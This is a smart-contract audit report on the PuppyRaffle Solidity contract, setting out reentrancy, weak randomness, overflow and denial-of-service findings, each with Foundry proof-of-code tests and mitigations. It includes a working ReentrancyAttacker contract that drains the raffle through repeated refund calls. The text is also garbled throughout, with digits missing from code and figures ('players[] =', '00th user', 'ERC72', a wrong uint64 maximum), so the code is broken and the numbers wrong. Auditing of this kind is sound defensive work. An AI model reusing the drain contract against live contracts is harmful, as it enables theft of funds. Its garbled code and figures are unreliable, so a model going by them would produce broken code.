Puppy Raffle Initial Audit Report

@jbuildsdev

April 3rd, 2024

Puppy Raffle Audit Report

J Builds
April 3rd, 2024

Prepared by:
J Builds
Lead Auditor:
@jbuildsdev
Assisting Auditors:
None

Table of Contents

Protocol Summary

PuppyRaffle is a decentralized application that allows users to participate in a raffle to win a puppy NFT. The raffle is conducted using a smart contract that is deployed on the Ethereum blockchain. The smart contract is written in Solidity and is responsible for managing the raffle process, including accepting entries, selecting winners, and distributing prizes. The winner of the raffle is given an NFT of random rarity along with a portion of the collected fees. A portion of the fee is saved to be withdrawn by the protocol owner.

Disclaimer

The JBuilds team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Audit Details

This audit pertains to the code in this GitHub repository:
https://github.com/Cyfrin/4-puppy-raffle-audit

The information provided in this document corresponds to the commit hash:
`e30d99697bbc822b646d76533b66b7d529b8ef5`

Scope

```
./src/
└── PuppyRaffle.sol
```

Roles

Owner: Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
Player: Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

I spent ten hours auditing the code using manual review, the Foundry test suite, and the static analysis tools Slither and Aderyn. Numerous critical bugs were found, including but not limited to logic errors that will break the usability of the contract with normal use, and potential vulnerabilities that could lead to loss of funds. The codebase is not ready for deployment to the Ethereum mainnet without further review and testing.

Issues Found

Severity	**Number of Issues Found**
High	4
Medium	3
Low	1
Info	7
Gas	2
Total	17

Findings

High

[H-1] Reentracy Attack in `PuppyRaffle::refund` allows attacker to drain the contract of its entire balance.

Description The `PuppyRaffle::refund` function sends ether to the user before removing the users address from the `PuppyRaffle::players` array. This allows an attacker to re-enter the function and repeatedly be sent ether before their address is removed from the array, draining the contract of all funds. The checks-effects-interactions best practice is not followed.

```
  function refund(uint256 playerIndex) public {
      address playerAddress = players[playerIndex];
      require(
          playerAddress == msg.sender,
          "PuppyRaffle: Only the player can refund"
      );
      require(
          playerAddress != address(0),
          "PuppyRaffle: Player already refunded, or is not active"
      );

      payable(msg.sender).sendValue(entranceFee);

      players[playerIndex] = address(0);
      emit RaffleRefunded(playerAddress);
  }
```

An attacker can write a contract with a `receive()` or `fallback()` function that calls refund again, calling the function repeatedly before their player index is removed from the array. This continues until all funds are drained.

Impact
All fees paid by users can be stolen by the attacker. This critical vulnerability poses a severe threat to the integrity and security of the `PuppyRaffle` smart contract. Upon exploitation, an attacker can systematically drain the contract of its entire balance, resulting in a complete loss of funds within the contract. The impact of this exploit extends beyond mere financial loss; it undermines the trust and credibility of the contract, potentially causing reputational damage to the project associated with it.

Proof of Concept
An attacker can create a malicious contract with a `receive()` function that calls `PuppyRaffle::refund` again and again every time ether is received. The attacker must only pay the entrance fee once before draining the contract.

Proof of Code
Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_reentrancyRefund() public {
        // users entering raffle
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // create attack contract and user
        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attacker = makeAddr("attacker");
        vm.deal(attacker,  ether);

        // noting starting balances
        uint256 startingAttackContractBalance = address(attackerContract)
            .balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        // impact
        console.log(
            "attackerContract balance: ",
            startingAttackContractBalance
        );
        console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
        console.log(
            "ending attackerContract balance: ",
            address(attackerContract).balance
        );
        console.log(
            "ending puppyRaffle balance: ",
            address(puppyRaffle).balance
        );
    }
}

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[]();
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }
    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
    fallback() external payable {
        _stealMoney();
    }
    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation

1. Consider using the `NonReentrant` modifier from OpenZepellin. This will lock the refund function and disallow an attacker from exploiting the contract. Read more here.

2. Rewrite the function using the check-effects-interactions pattern. By changing the contract's state before sending ether, the address check in the `PuppyRaffle::players` array will deny the attacker from claiming repeated refunds. The `RaffleRefunded` event should be moved upward as well.

Code using CEI pattern:

```
        function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

+       // Effect: Update the state before the interaction
+       players[playerIndex] = address(0);

+       // Emit the event before the payment
+       emit RaffleRefunded(playerAddress);
```

```diff
        // Interaction: Send the funds
-       payable(msg.sender).sendValue(entranceFee);
+       // Moved the sendValue call after the state update and event emission to follow the CEI pattern
+       // This mitigates potential reentrancy attacks
+       payable(playerAddress).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in PuppyRaffle::selectWinner allows an attacker to influence the winner.

Description Hashing msg.sender, block.timestamp, and block.difficulty only creates a pseudo random number that can be predicted. These values are transparent and public, and an attacker can access them in order to predict the result of the raffle to their advantage.

Impact Any user can influence the winner of the raffle, winning the rarest NFT for themselves. This undermines the integrity of the raffle and the trust of the users.

Proof of Concept

1. Validators can know the block.difficulty and block.timestamp ahead of time and use this to predict when to participate in the raffle. Additionally, block.difficulty has since been replaced by the prevrandao opcode. See information on the opcode.

2. Users can mine an arbitrary amount of addresses to manipulate the msg.sender value. This value is then used to influence the winner of the raffle.

3. Users can revert their PuppyRaffle::selectWinner transaction if they are not the winner, or if they want a more rare NFT, and try again until they are the winner.

Recommended Mitigation
Consider using Chainlink VRF to generate a random number. This will ensure that the winner is truly random and cannot be influenced by any user. The Chainlink VRF is a secure and reliable source of randomness that is resistant to manipulation. Read more about Chainlink VRF .

[H-3] Integer overflow of PuppyRaffle::totalFees will lead to a loss of funds

Description In versions of Solidity prior to 0.8, integers were subject to overflow and underflow. The overflow of totalFees will cause the value to wrap around to a smaller number and under-represent the amount of fees collected by the contract.

```
uint64 myVar = type(uint64).max;
// myVar is now 84467440737095565
myVar++;
// myVar is now 0
```

Impact
The contract will lose funds as the total fees collected will be underrepresented. This will lead to a loss of funds for the contract owner and the users. The winner of the raffle will receive less than the total amount of fees they are entitled too, and the contract owner will be unable to withdraw the fees. Additionally, players will be unable to withdraw their fees due to the check in `PuppyRaffle::withdrawFees`.

Proof of Concept

When 89 entrants join a raffle, the contract state records less fees being collected compared to 4 entrants.

Proof of Code
Place the following test into `PuppyRaffleTest.t.sol`

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + );
    vm.roll(block.number + );
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + );
    vm.roll(block.number + );

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a second raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
```

```
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation

1. Newer versions of Solidity have built in checks for overflow and underflow. Consider upgrading to a newer version of Solidity to prevent this vulnerability.

2. The SafeMath library by OpenZeppelin can be used to prevent overflow and underflow. This library will revert the transaction if an overflow or underflow is detected. Read more about SafeMath.

[H-4] The value of `PuppyRaffle::totalAmountCollected` is not updated when a player refunds their entrance fee.

Description The `PuppyRaffle::selectWinner` function calculates the `PuppyRaffle::totalAmountCollected` by multiplying the entrance fee by the number of players. However, when a player refunds their entrance fee, the `PuppyRaffle::totalAmountCollected` is not updated. This will lead to the total amount collected being overstated in the PuppyRaffle::selectWinner function.

Impact The contract does not properly track its balance and amount of fees collected. It is possible, even likely, that the `PuppyRaffle::totalAmountCollected` value will be greater than the ether balance of the contract, especially in earlier raffles. The transaction will revert, the winner cannot be selected, and the contract will be unusable. Even if the contract is able to function, if at least one player requests a refund the expected payout to the winner and fee collector will be reduced.

Proof of Concept

1. The contract is deployed.
2. Ten people enter the raffle.
3. Five people get a refund.
4. When a winner is selected, the contract will attempt to send 8*`entranceFee` to the winner, but the contract only has 5*`entranceFee` in its balance.

Proof of Code
Place the following test into PuppyRaffleTest.t.sol

```
function testOverstatedBalance() public {
    // Enter ten players into the raffle
    address[] memory players = new address[](0);
    for (uint i = 0; i < players.length; i++) {
        players[i] = address(uint60(i + )); // dummy addresses
    }
    puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);

    // Refund half of the players
    for (uint i = 0; i < players.length / 2; i++) {
        vm.prank(players[i]);
        puppyRaffle.refund(i);
    }

    // Advance the time to after the raffle duration
    vm.warp(block.timestamp + duration + );

    // Log the values of totalAmountCollected and the contract.balance
    uint256 totalAmountCollected = puppyRaffle.entranceFee()*players.length;
    uint256 contractBalance = address(puppyRaffle).balance;
    console.log("totalAmountCollected: ", totalAmountCollected);
    console.log("contractBalance: ", contractBalance);

    // Expect selectWinner to revert due to insufficient balance
    vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
    puppyRaffle.selectWinner();
}
```

Recommended Mitigation

1. Consider tracking fees collected in the raffle as a state variable. This variable can be incremented when a player enters the raffle and decremented when a player refunds their entrance fee. When a winner is selected, 80% of this value is sent to them, with the remaining 20% added to PuppyRaffle::totalFeesCollected, and then set to zero for the start of the new raffle. This will ensure that the contract's balance and available ether is accurately reflected in the PuppyRaffle::selectWinner function.

2. Consider removing addresses from the PuppyRaffle::players array when they refund their entrance fee (recommended). This will ensure that the PuppyRaffle::totalAmountCollected is accurate when a

winner is selected, as the value will only count currently active players who have not been refunded. This will also fix the bug in **[M-2]**, and guarantee there are at least four active players to draw a raffle, as specified in the project documentation.

Medium

[M-1] Denial of Service: Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DOS) attack, incrementing gas cost for future users.

Description The `PuppyRaffle::enterRaffle` function contains a nested loop in order to check for duplicates. This means that as the number of players grows, the amount of checks needed to find a duplicate will grow as well. Users wishing to enter the raffle later will pay significantly more gas than those who enter early.

```
//@audit DOS attack

  @>   for (uint256 i = 0; i < players.length - ; i++) {
           for (uint256 j = i + ; j < players.length; j++) {
               require(players[i] != players[j], "PuppyRaffle: Duplicate player");
           }
       }
```

Impact The gas cost for raffle entrants will exponentially increase as more players enter the raffle. This punishes later users when they attempt to enter the raffle, and creates a rush to enter the queue as soon as possible to minimize gas costs.
An attacker can make the `PuppyRaffle::entrants` array large so that it becomes cost prohibitive for later users to join, guaranteeing their win of the NFT.

Proof of Concept

1. Deploy a contract instance of PuppyRaffle.
2. Call the enterRaffle function multiple times with a large number of unique addresses.
3. As the number of players grows, the gas cost for each subsequent entry increases significantly due to the nested loop.
4. Eventually, the gas cost becomes prohibitive for later users, effectively creating a barrier for entry.
5. The attacker, having controlled the gas cost, can easily manipulate the system to guarantee their win of the NFT, as other users will be deterred from joining due to high gas costs.

Proof of Code
Place the following test into PuppyRaffleTest.t.sol

```
function testGasUsedByEnterRaffle() public {
    address[] memory players = new address[]();
    players[0] = playerOne;

    uint256 startGas = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee}(players);
    uint256 endGas = gasleft();
    uint256 gasUsedFirstUser = startGas - endGas;
    console.log("Gas used by the first user", gasUsedFirstUser);

    // Simulate 98 other users entering the raffle
    for (uint i = ; i < 99; i++) {
        players[0] = address(uint60(i + )); // Use a different address for each user
        puppyRaffle.enterRaffle{value: entranceFee}(players);
    }

    // 00th user enters the raffle
    players[0] = address(00);
    startGas = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee}(players);
    endGas = gasleft();
    uint256 gasUsed00thUser = startGas - endGas;
    console.log("Gas used by the 00th user", gasUsed00thUser);
    assert(gasUsed00thUser > gasUsedFirstUser);
}
```

- Gas used by the first user 6020
- Gas used by the 00th user 3966865

The 100th entrant must pay 65 times more gas to enter the raffle compared to the first.

Recommended Mitigation

1. Consider allowing duplicates. Users can already create new wallet addresses, so a duplicate check does not prevent the same person from entering the raffle multiple times.
2. Consider using a mapping to check for duplicates to allow for a constant time lookup.This method reduces the gas spent as follows:

Code using mapping:

```
@@ -2,6 +2,8 @@
    uint256 public immutable entranceFee;

    address[] public players;
+   mapping(address => uint256) playerRaffleIds; // mapping to keep track of player raffle ids
+   uint256 currentRaffleId;
    uint256 public raffleDuration;
    uint256 public raffleStartTime;
    address public previousWinner;
@@ -65,6 +67,7 @@
        address _feeAddress,
        uint256 _raffleDuration
    ) ERC72("Puppy Raffle", "PR") {
+       currentRaffleId = ; // initialize raffle id
        entranceFee = _entranceFee;
        feeAddress = _feeAddress;
        raffleDuration = _raffleDuration;
@@ -88,9 +9,7 @@
            msg.value == entranceFee * newPlayers.length,
            "PuppyRaffle: Must send enough to enter raffle"
        );
+
+       // Check for duplicates
        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(
+               playerRaffleIds[newPlayers[i]] != currentRaffleId,
+               "PuppyRaffle: Duplicate player"
+           );
+           playerRaffleIds[newPlayers[i]] = currentRaffleId;
            players.push(newPlayers[i]);
        }

-       // Check for duplicates
-       for (uint256 i = 0; i < players.length - ; i++) {
-           for (uint256 j = i + ; j < players.length; j++) {
-               require(
-                   players[i] != players[j],
-                   "PuppyRaffle: Duplicate player"
-               );
-           }
-       }
        emit RaffleEnter(newPlayers);
    }

@@ -80,6 +8,8 @@
        (bool success, ) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+
+        currentRaffleId++;
    }

    /// @notice this function will withdraw the fees to the feeAddress
```

- Gas used by the first user 85545
- Gas used by the 100th user 5530
In this implementation the gas used by the st and 00th entrant are similar.

[M-2] The PuppyRaffle::refund function sets player's address to address(0) in the PuppyRaffle::players array, leading to potential contract reversion.

Description The PuppyRaffle::refund function sets the player's address to address(0) in the PuppyRaffle::players array. This introduces a zero address into the array. When the winner of the raffle is chosen, if the zero address is selected, the contract attempts to send the prize to this address and reverts, as the address(0).call function will fail.

Impact This issue significantly disrupts the core functionality of the contract. While it does not result in direct loss of funds for the players, it increases the likelihood of the contract reverting when a winner is chosen. This makes the contract unreliable and unpredictable, eroding trust in the raffle. In the current implementation, any time a player gets a refund, it increases the chance of the contract reverting when trying to send the prize money and NFT to the zero address in the PuppyRaffle::players array. This can make the contract borderline unusable over time. The user attempting to complete the raffle will waste gas on the reverted function. Additionally, if all players have been refunded, it is impossible for the raffle to conclude until a new player enters the raffle.

Proof of Concept

1. Four users enter the raffle.
2. All users refund their entrance fee.
3. The winner of the raffle is chosen.
4. The function reverts as the winner is a dead address.

Proof of Code

Place the following code into `PuppyRaffleTest.t.sol`

```
    function testFundsSentToZeroAddress() public {
    //enter four players into the raffle
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
    //all four players get refunds
    vm.prank(playerOne);
    puppyRaffle.refund(0);
    vm.prank(playerTwo);
    puppyRaffle.refund();
    vm.prank(playerThree);
    puppyRaffle.refund(2);
    vm.prank(playerFour);
    puppyRaffle.refund(3);
    //the raffle is now entirely zero addresses

    vm.warp(block.timestamp + duration + );

    // Expect the selectWinner function to revert
    vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner");
    puppyRaffle.selectWinner();
  }
```

Recommended Mitigation

Consider removing refunded players from the players array. This will ensure that when the winner is chosen, the NFT and funds will be sent to a real player address. Additionally, this will reduce the array size guaranteeing there are at least 4 players in the raffle, as required by the contract. Furthermore, this means the expected prize of the winner is truly proportional to their odds of winning.

Code with refunded players removed from raffle:

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(
        playerAddress == msg.sender,
        "PuppyRaffle: Only the player can refund"
    );
    require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
+       players[playerIndex] = players[players.length - ];
+       players.pop();
        emit RaffleRefunded(playerAddress);
    }
```

[M-3] Smart contract raffle winners without a receive() or fallback() function will revert the transaction and block the start of a new contest.

Description Due to the require statement in PuppyRaffle::selectWinner the contract will revert if the winner does not have a receive() or fallback() function.

Impact The contract could revert many times and cost large amounts of gas to those calling the function. This could prevent the start of a new contest and cause the contract to be unusable. Furthermore, a smart contract that wins the raffle will not be able to receive the prize.

Proof of Concept

1. A smart contract wins the raffle.
2. The smart contract does not have a receive() or fallback() function.
3. The contract reverts the transaction and the prize is not sent to the winner.

****Recommended Mitigation****

1. Follow the pull payment pattern. This pattern allows the winner to withdraw the prize instead of the contract sending the prize to the winner. This will prevent the contract from reverting if the winner does not have a receive() or fallback() function.

2. Consider not allowing smart contract users (not recommended). This can be achieved with OpenZepellin Address library. [Read more about the Address library.]()

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 when a player is not active. Players at index 0 will believe they have not entered the raffle.

Description If a player is in the first index of the PuppyRaffle::players array, the function will return 0. However the function also returns 0 when a player is not found in the array.

```
   function getActivePlayerIndex(
     address player
 ) external view returns (uint256) {
     for (uint256 i = 0; i < players.length; i++) {
         if (players[i] == player) {
             return i;
         }
     }
     return 0;
 }
```

Impact The first player in the array will be lead to believe they have not entered the raffle, prompting them to try to enter again and wasting gas.

Proof of Concept

1. The first user enters the raffle
2. They are assigned to index 0 in the PuppyRaffle::players array
3. When querying their index, the player thinks they are not in the raffle based on the function documentation

****Recommended Mitigation**** Return a value from this function that cannot be interpreted as a valid player index. An int256 that returns -1 would serve this purpose.

Informational

[I-1]: Solidity pragma should be specific, not wide.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0;, use pragma solidity 0.8.0;

[I-2]: Using an outdated version of Solidity is not recommended.

Consider using a newer version like 0.8

[I-3]: Missing checks for `address(0)` when assigning values to address state variables.

Check for `address(0)` when assigning values to address state variables.

- Found in `src/PuppyRaffle.sol [Line: 70]`
- Found in `src/PuppyRaffle.sol [Line: 23]`

[I-4] `PuppyRaffle::selectWinner` does not follow the Checks-Effects-Interactions (CEI) pattern, which is not best practice.

Following the CEI pattern is recommended when developing smart contracts.

```diff
-       (bool success, ) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success, ) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic numbers" is discouraged. Number literals can be confusing in a code-base, and it is recommended to declare variables with descriptive names to increase code readability.

```diff
+  // Declare the magic numbers as constants
+  uint256 constant PRIZE_POOL_PERCENTAGE = 80;
+  uint256 constant FEE_PERCENTAGE = 20;
+  uint256 constant POOL_PRECISION = 00;

    function selectWinner() public {
        // Other code...

-       uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / 00;
-       uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / 00;
+       // Use the constants instead of magic numbers
+       uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
POOL_PRECISION;
+       uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;

        // Other code...
    }
```

[I-6] State changes are missing events.

It is recommended to emit events for state changes in the contract. This will allow users to track the state changes and provide transparency to the contract's functionality.

[I-7] `PuppyRaffle::isActivePlayer` is never used.

The function `PuppyRaffle::isActivePlayer` is never used in the contract. Consider removing it to reduce the contract's size and complexity.

Gas

[G-1] Unchanged state variables should be marked `constant` or `immutable.`

Reading from storage much more gas intensive than reading from a constant or immutable variable. Instances:

-`PuppyRaffle::raffleDuration` should be immutable.
- `PuppyRaffle::commonImageUri` should be constant.
- `PuppyRaffle::rareImageUri` should be constant.
- `PuppyRaffle::legendaryImageUri` should be constant.

[G-2] Storage variables in a loop should be cached.

Every time `players.length` is called, the contract reads from storage. This costs a lot of gas. Therefore the value should be assigned to memory first before looping.

```diff
+        uint256 playerLength = players.length;
-        for (uint256 i = 0; i < players.length - ; i++) {
+        for (uint256 i = 0; i < playerLength - ; i++) {
-            for (uint256 j = i + ; j < players.length; j++) {
+            for (uint256 j = i + ; j < playerLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```